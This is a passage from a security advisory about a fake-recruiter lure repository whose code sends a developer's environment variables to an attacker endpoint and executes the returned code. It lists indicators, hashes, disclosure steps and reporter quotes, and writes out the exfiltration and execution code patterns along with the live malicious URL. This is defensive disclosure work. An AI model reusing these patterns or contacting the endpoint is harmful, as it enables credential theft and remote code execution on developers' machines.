hxxps://ipcheck-hashed[.]vercel[.]app/api/auth/b4dadd6a26d820d08596 and gitlab[.]com/propfi-2026/mvp.
One indicator per row. The type column is what an ingester should key on. The confidence column takes exactly one value per indicator.
| Indicator | Type | Confidence | Notes |
|---|---|---|---|
ipcheck-hashed.vercel.app | hostname | Corroborated | Operator-controlled endpoint, named in at least 21 OSV/GHSA advisories 2026-04-16 to 2026-08-29. Block this exact hostname. Do not block the parent zone: it is shared hosting for very large numbers of legitimate sites. |
https://ipcheck-hashed.vercel.app/api/auth/b4dadd6a26d820d08596 | url | Corroborated | The endpoint in this sample (server/config/config.js:64, base64). Receives the full process.env; its response body is executed as Node code. Also published 2026-04-16 as the endpoint of npm chai-as-init (MAL-2026-2891). Observed live 2026-09-08: GET returns 404, POST returns the second stage. |
https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df | url | Corroborated | Dominant path variant, present in 17 of the 21 advisories. |
https://ipcheck-hashed.vercel.app/api/auth/00fbe23fd7efc30639f1 | url | Corroborated | Third path variant, npm chai-as-sets (MAL-2026-10519, 2026-07-14). |
https://ipcheck-hashed.vercel.app/api/identity/1a6e008f91d4ca2566f4 | url | Observed | Fourth path convention on the same host, in a public GitHub repository (see 12.4). |
x-secret-header: secret | http-header | Corroborated | Static request header. The most durable network signature in this case, because it survives rotation of the host. An outbound request carrying this header from a developer workstation or CI runner is a strong compromise indicator. |
Not in this feed, deliberately: the hosting platform's shared anycast IP address. The platform's own documentation states that its addresses are anycast and "shared across all regions" (https://vercel.com/docs/domains/troubleshooting, retrieved 2026-09-08), and publishes 76.76.21.21 as the A-record value for customer domains, qualified as "or your domain card's value" (https://vercel.com/kb/guide/a-record-and-caa-with-vercel, retrieved 2026-09-08). Blocking it would hit every site the platform hosts, legitimate ones included, and it carries no attribution value whatever. We record it here in prose so a responder recognises it, and we keep it out of the machine-readable feed so no ingester can act on it.
| Indicator | Type | Confidence | Notes |
|---|---|---|---|
aHR0cHM6Ly9pcGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBwL2FwaS9hdXRoL2I0ZGFkZDZhMjZkODIwZDA4NTk2 | string | Observed | The base64 literal exactly as committed at server/config/config.js:64. Highest-fidelity content hunt term; greppable without decoding. |
cGNoZWNrLWhhc2hlZC52ZXJjZWwuYXBw | string | Observed | The hostname base64-encoded at the byte-phase alignment that occurs in this sample (the host begins at offset 8 of the URL). |
aXBjaGVjay1oYXNoZWQudmVyY2VsLmFw | derived-hunt-string | Derived, not observed | The hostname base64-encoded at phase 0. Computed, not seen in any sample. Include in scanning; do not report as an observed indicator. |
Y2hlY2staGFzaGVkLnZlcmNlbC5h | derived-hunt-string | Derived, not observed | The hostname base64-encoded at phase 1. Same caveat. |
HASHED ENDPOINT for IP Logger | string | Observed | Verbatim source comment at server/config/config.js:63. |
HASHED_URL | string | Observed | Config key at server/config/config.js:64. Weak on its own: the operator appears to rename identifiers per lure, so this did not appear in any other public sample we could find. |
ipLogger | js-function-name | Observed | Loader function at auth.controller.js:71, self-invoked at :84, omitted from module.exports at :123-128. Trivially renamed in a variant; use only alongside a behavioural marker. |
The request was completed successfully! | string | Observed | console.log at auth.controller.js:79, printed after stage two executes. |
The request was failed: | string | Observed | console.log at auth.controller.js:82. The ungrammatical phrasing makes it a low-frequency hunt string. |
new Function.constructor("require", <response>)(require) | code-pattern | Corroborated | Execution primitive at auth.controller.js:78. Also reported publicly as new (Function.constructor)("require", responseData). The literal parameter name require is the low-false-positive anchor. |
setApiKey = (s) => atob(s) | code-pattern | Corroborated | Vestigial base64 decoder at server/providers/helper.js:19, with zero callers. The identically-named helper appears in at least two third-party preserved samples of the same kit. Its presence in a Node project alongside a base64 blob and an axios POST of process.env is a strong kit fingerprint. |
axios.post(<url>, { ...process.env }, { headers: { "x-secret-header": "secret" } }) | code-pattern | Corroborated | The exfiltration shape, at auth.controller.js:72-76. |
| Indicator | Type | Confidence | Notes |
|---|---|---|---|
https://gitlab.com/propfi-2026/mvp (project id 86202262) | url | Observed | The lure repository. Public when cloned at 2026-09-08T13:49:05Z; returned 404 during a window at 14:11:54Z; publicly retrievable again at 15:54:54Z. Still live at publication. |
gitlab.com/groups/propfi-2026 (group id 141655099) | url | Observed | Operator-controlled namespace, created 2026-09-08T02:17:00.434Z, still resolving at 14:27:13Z and listing the mvp project at 15:54:54Z. This is the reproducible anchor for the timeline. |
b86fe2450ddd078154ef45b18924a5685f8232d6 | git-commit | Observed | The single root commit, subject "Re-init". This is a git SHA-1 object identifier, not a file hash. Do not ingest it as a sha256. Root tree is 1c604d01bb711a453c554d33e4a43cd31f65276a. |
francois.pintart514@outlook.com | email-addr | Observed | Git author and committer email on that commit, and the registered address of the GitLab account. Self-asserted, unsigned metadata. Git author fields are freely settable and there is no GPG signature, so this is a claim by the packager, not proof of identity, and the name may be an appropriation of an unrelated real person's name. Published because it is an operational identifier embedded in the delivered artifact and defenders hunt on it. Do not attempt to identify or characterise any real person of that name. |
francois-gitlab (GitLab user id 42186144) | user-account | Observed | Git author name and the GitLab account that created the group and pushed all three events. Zero public projects and zero public events as of 2026-09-08T14:12:10Z. Same self-asserted caveat as the email address. |
d74486ac3070c8bc4251e01d4f482245bfeb751665011dc439f82db4c3449409 | sha256 | Observed | SHA-256 of that email address, published by GitLab inside the account's avatar URL. This is a hash of an email address, not of a file. Do not feed it to a file-hash lookup. Reproduce with printf '%s' 'francois.pintart514@outlook.com' | sha256sum. |
github.com/danxeth436/eSTOKyam | url | Observed | A public GitHub repository we observed on 2026-09-08 containing the same endpoint hostname at a different path, at server/config/constant.js, disguised among genuine blockchain RPC constants. We report the URL as an indicator and make no allegation about who controls the account; the account may itself be compromised or fabricated. |
chai-as-init, chai-dec, chai-as-const, chai-as-doc, chai-as-auth, chai-as-sets, chai-as-act, chai-as-smart, chai-as-byte, chai-as-soul, chai-as-otc, chai-as-org, chai-smart, cookie-sign, cookie-phase, motion-lib, motion-pull, web-pool, web-pop, configration, eth-pino | package-name | Corroborated | The 21 npm packages documented as using this endpoint. All removed from the registry. Hunt lockfiles, CI caches and archived node_modules. Per the published advisories, any host that installed one should be treated as fully compromised. |
fc61b0ed62e346bfbb5e1e093e475d8b3065247dc8d315f0ea4e7cafd9661bad | sha256 | Unverified, third-party reported | lib/initializeCaller.js from chai-dec@2.3.5, per OSV MAL-2026-5606 (https://api.osv.dev/v1/vulns/MAL-2026-5606). We did not obtain or verify that file. |
cb36fcdc10b8fb077ba9ebf442a53b851683ee6c86f953da370938098eced313 | sha256 | Unverified, third-party reported | package.json from chai-dec@2.3.5, per OSV MAL-2026-5606. Same caveat. |
Publish and check the LF values. The reporter's clone was taken on Windows with core.autocrlf=true, so every working-tree file is CRLF and its SHA-256 differs from the repository's canonical LF content. An advisory that published only the Windows hashes would fail to reproduce for every Linux and macOS reader. Both sets are given, LF first. The working tree was clean (git status --porcelain empty), so the difference is checkout normalisation and not local editing: each byte delta equals that file's line count exactly.
| File | git blob (SHA-1) | SHA-256, canonical LF | LF bytes | SHA-256, Windows CRLF checkout | CRLF bytes |
|---|---|---|---|---|---|
server/controllers/auth.controller.js | 8b76436c8d79a562349fa0da3000b09ba6fc5881 | 825645305f5f8d7efafe57597532ccd9fd94f295a668a902eefe494eb19edaa8 | 3772 | 591b2a040bd86a9786e7cd2c6481f4b986604701aab0f396ffd495c8da007180 | 3900 |
server/config/config.js | 76ca26e4d8a2a3ce4fbabcd2c03f18d378284a67 | ca5de7cc33ed3c4c64438393920e0ece14fac0ef90e61ba54d06fb4e67f3bd23 | 2640 | 296f9467fb92d923802e71ac726e0b28739a6f7681b68d019920a422b39b8afa | 2727 |
server/routes/auth.js | f341bf79d4757e5d658cf21320e0543f44f452df | 95e58482769d5bb16f50fa543598b54e7cf92923b76bccda5dffe64746074f6c | 407 | 0c96648907d2b58a25d14dbc84d63b1946e30721fab3d368d04c3f8605f85ad6 | 426 |
server/providers/helper.js | 2bc8615575fc0b153d8cbabfc3e0119ebd082602 | cdbb8fb7b49733452dcb3a03d4742474f9456d688b50a6727ca7a952cc3e1ebb | 968 | c84d83b340334bc0fa023e5076ca30ac28acf8a1b5da9d47a5a4bf72faaee045 | 996 |
server/app.js | 76ac3e7c36ff5e4fa0d1536142a1692a7434ff17 | 9b24b1ee74c18d95f38f0120fc6edaa887a96bb19f2bd8f3d77ba112a163f00f | 1974 | d86255ce0b1f763c9f62f383a559bc54bd2b4fac84195f7e77830c301190abcd | 2040 |
package.json | 5eeb55e1fd92183af24ad555f5df6db19293820a | 72fd374cd8d47b4ab43accf56c96095e7f6b6615c8a33d7d1c730a13e255d4d0 | 2506 | 6f3ca3d6fcb39c166d17211e03d23f8a275c580b90c33dd902bac05152876c8d | 2597 |
README.md | 3c618cbfb5630222849e4984c9d5ebf61c51ed03 | 170872e580bdabd9bcc5f0970e26193729eda45fed5bfe3692f82e9b8e51d855 | 922 | 6e463ab46db71bac397dd231e8288d784914a65f99fee18736cdfdbde16b56fd | 980 |
server/routes/auth.js is not itself malicious. It is the require carrier: :5 requires ../controllers/auth.controller, which is what detonates the payload from server/app.js:25.
Caveat on git identifiers. Blob and commit identifiers are SHA-1, which is collision-attackable. They are identity pointers within this repository, not integrity proofs. The SHA-256 values are of file content only and carry no timestamp or authorship.
ipcheck-* and similar serverless hosts appear in third-party writeups of the same kit family. They are naming-convention leads, not observations of ours, common operator control is not established, and a released subdomain can be reassigned to an innocent user. If you want them, take them from the cited sources in Section 10.5 with their own provenance attached.Nothing has been reported to anyone yet. As of publication of this revision:
| Step | Recipient | Status |
|---|---|---|
| 0 | Evidence preservation (read-only clone, dual hash set, this document) | Done. Hashes in Section 12.4 |
| 1 | Scanning service, unlisted submission | Not submitted |
| 2 | GitLab Trust and Safety | Submitted 2026-09-08T21:09Z by email to abuse@gitlab.com, with the file and line references, the decoded endpoint, and the API timestamps showing the commit date predates the namespace |
| 3 | The serverless hosting provider's abuse channel | Submitted 2026-09-08T21:09Z by email to abuse@vercel.com, naming the endpoint, the observed GET/POST behaviour and the prior OSV record |
| 4 | LinkedIn, the profile only | Not required The profile returned "This page doesn't exist" when we went to report it at 2026-09-08T21:10Z. We do not know who removed it or when, and we draw no conclusion from that |
| 5 | Courtesy notice to the company whose page was circulated | Not sent; its published site returned HTTP 503 to us on 2026-09-08 and we have no verified security contact |
| 6 | Courtesy notice to the third-party website operator | Not sent |
| 7 | Public malware-scanning service | Not submitted |
| 8 | Law-enforcement complaint (US) | Not filed |
| 9 | Sector information-sharing organisation | Not sent |
Revision 1.1 note. Revision 1.0 of this advisory was published while the repository was still up and unreported, and said so. That is no longer the case: the platform and hosting abuse reports at steps 2 and 3 were submitted on 2026-09-08 at 21:09Z, before this revision went live. The lure at gitlab.com/propfi-2026/mvp was still publicly retrievable at that moment, and we make no claim about whether it has been removed since. Section 13.2's point that removing the repository is the step that costs the operator something now describes a step we have taken.
This table will be updated in place, with a new revision number and a dated changelog entry, as each step is taken. We publish it in this state rather than implying reports exist that do not.
Pull the repository before killing the endpoint. The intuitive order is to take down the malware host first. That is wrong here. Taking the endpoint down before the repository is removed leaves the lure in place pointing at a dead host: candidates still clone and run it, the repository stays up, and the operator redeploys to a new serverless subdomain in minutes. This family deliberately separates cheap, disposable delivery from the thing that persists, precisely so the delivery can be burned at no cost. Removing the repository is the step that actually costs the operator something, and it is also the only route by which the platform can identify and warn other people who cloned it.
Report the profile, not the company page. The approach arrived through a LinkedIn profile. A report about that profile and that message thread is a report about an account. It is not a report about the company page whose URL was circulated, and we have not asked LinkedIn to act against that page. Conflating the two risks an enforcement action against a third party we have made no finding about.
A scanner submission is not a free move, and we say so. A scanner submission causes that service's infrastructure to fetch the URL, which is an additional, differently-attributable hit on top of the two requests recorded in Section 4.5. We will not ask any third party to fetch the second stage on our behalf: we already hold one, and a further retrieval buys nothing while adding another party to the operator's logs.
Courtesy notices are sent because a party whose brand appears in an advisory should hear it from us first, not because we have found anything against them. Both notices, if sent, will be short, non-accusatory, will make no allegation, will offer the draft in advance, and will offer to publish any statement the recipient wishes to make. We will not hold publication for either.
We are not holding an embargo. There is no vendor with a patch to ship here: the artifact is a repository and an endpoint, and the people at risk are individual developers receiving the same approach today. As with LH-2026-001, we would rather publish a narrow claim we can defend line by line than hold indicators back from the people who need them. Every material revision will be recorded in Section 16 with a new last-updated date, and any correction will be published in full rather than quietly edited in.
"Fourteen lines out of four thousand seven hundred and twenty-nine. Line seventy-one of a hundred-and-twenty-eight-line file, in a directory nobody opens first, in a repository that looks like the work of a small team. The only reason I saw it is that I read the source before I ran anything, and the only reason I read the source is that I had no intention of running a stranger's code."
"The line that ends the argument is
(require). The author chose a compiler that runs in global scope, which strips module-loading capability by design, and then deliberately passedrequireback in as a named parameter. Nobody does that by accident, and there is no logging use for it. Everything else in the file is decoration around that one decision."
"The advice everyone repeats is
npm install --ignore-scripts. It does not help here. There is no install hook. The payload fires onnpm start, which is exactly what the README tells you to run. If your defence is a flag on the wrong command, you do not have a defence."
"Every check a careful candidate knows how to run came back green. A company page presenting an established company with the right founding year and the right headquarters. A website with a two-and-a-half-year-old registration, its own listing and its own whitepaper. Four different names in play, and each one checked out on its own, because you never hold all four in one frame. The check that works is the one nobody teaches: verify through a channel the sender did not give you."
"The endpoint had been in public advisories since April. It was in twenty-one of them. This was not clever new infrastructure, it was a burned address being pointed at somebody who had never had a reason to look it up. That is the gap worth closing: the indicator existed, and there was nothing in a developer's ordinary workflow that would ever have put it in front of them."
"I will not name the person whose LinkedIn account carried this. I cannot prove the account is the person, both of the leading explanations make them a victim, and the identifier rotates in minutes so publishing it protects nobody and follows them for years. It goes to the platforms that can act on it, not into a document engineered for search visibility."
"We proved what fourteen lines of code do, and we hold what the server sent back. Not who wrote them, not what that payload does once it runs, not who else got the message. I would rather publish a narrow claim I can defend line by line than a wide one that falls apart the first time a reporter checks it. That includes being plain about the one step in this analysis that went further than it was supposed to."
Daniel Wilson Kemp, Founder and Chief Executive Officer, Lifted Holdings LLC
The discovery, the analysis, the detection content and this advisory are the work of Daniel Wilson Kemp, Founder and Chief Executive Officer, Lifted Holdings LLC.
The reporter identified the backdoor by reading the source before running it. The repository was cloned read-only at 2026-09-08T13:49:05Z, and the payload was found by inspection of server/config/config.js and server/controllers/auth.controller.js. npm install was never run. npm start was never run. No file from the repository was ever executed. Two requests were sent to the endpoint itself; see Section 4.5. The base64 decoding in Section 4.1 was performed offline. Every finding in this advisory is derived from static reading of a preserved artifact and from third-party records retrieved from public sources, each of which is cited with its URL.
Lifted Holdings LLC is a payments and technology company based in Tennessee, operating across merchant payments and connected-device platforms.
Commercial interest, stated plainly
Lifted Holdings sells payments and retail software: point of sale, payment processing, vending and signage. It does not sell an anti-malware product, a developer-security product, a threat-intelligence feed, a detection engine, or a candidate-screening service. There is no product this advisory sells.
| Purpose | Contact |
|---|---|
| Author and technical follow-up | Daniel Wilson Kemp, Founder and CEO, Lifted Holdings LLC |
| will@liftedholdings.com | |
| Telephone | 855-678-5142 |
| Report a security issue to us | /security/disclosure-policy and /.well-known/security.txt |
| Corrections to this advisory | will@liftedholdings.com. We have published a correction against ourselves before (LH-2026-003) and we will do it again. |
| Canonical advisory URL | https://liftedholdings.com/security/advisories/2026-004-fake-recruiter-rce-lure |
The reporter is available to verify any indicator published here, and will supply the preserved read-only clone and its hashes to any platform, vendor or law-enforcement body that asks.
| Revision | Date | Change |
|---|---|---|
| 1.1 | 2026-09-08 | Disclosure status updated. The GitLab and hosting-provider abuse reports at steps 2 and 3, recorded as not submitted in revision 1.0, were submitted at 21:09Z. The LinkedIn step is marked not required: the profile returned "This page doesn't exist" when we went to report it at 21:10Z, and we draw no conclusion from that. No finding, indicator, hash or confidence level was changed. |
| 1.0 | 2026-09-08 | Initial publication. |
TLP:CLEAR. This advisory may be redistributed without restriction. We ask only that Section 9, "What we did not find", and the scope limitation above travel with any excerpt.
Advisory LH-2026-004, revision 1.0, published 2026-09-08. Indicators observed 2026-09-08 unless stated otherwise. Confidence levels are stated per finding; where a statement is an inference rather than an observation it is labelled as such in the text, and observed and inferred assessments are kept in separate tables in Section 8. This advisory will be revised as further evidence is obtained, and every material revision will be recorded above with a new last-updated date.
GitLab, GitHub, Vercel, Microsoft, Outlook, LinkedIn, Google, Cloudflare, GoDaddy, npm, RealT and any other names appearing here are the trademarks of their respective owners. Reference to those names describes observed artifacts, queried public records, and abuse of legitimate services, and does not imply any wrongdoing by, or endorsement from, those parties.
Advisory LH-2026-004 · Revision 1.0 · Published 2026-09-08 · TLP:CLEAR ·
liftedholdings.com/security/advisories/2026-004-fake-recruiter-rce-lure
Copyright 2026 Lifted Holdings LLC. All timestamps UTC.